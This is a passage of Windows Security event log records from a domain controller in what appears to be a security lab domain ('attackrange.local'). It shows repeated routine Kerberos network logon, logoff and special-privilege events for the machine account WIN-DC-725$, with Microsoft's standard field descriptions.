-Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64012 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248723 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC26AE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248722 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC263A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248721 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC263A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64011 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248720 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC263A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248719 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC25CB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248718 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC25CB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64010 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248717 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC25CB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248740 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC2F42 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248739 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC2F42 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64017 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248738 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC2F42 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248737 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC2EE1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248736 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC2EE1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64016 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248735 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC2EE1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248734 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC2E7B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248733 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC2E7B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64015 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248732 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC2E7B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248731 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC2E1A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248730 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC2E1A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64014 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248729 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC2E1A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248752 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC30E3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248751 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC30E3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64021 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248750 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC30E3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248749 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3082 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248748 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC3082 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64020 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248747 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3082 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248746 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC301C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248745 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC301C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64019 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248744 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC301C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:39 PM -LogName=Security -SourceName=Microsoft Windows security 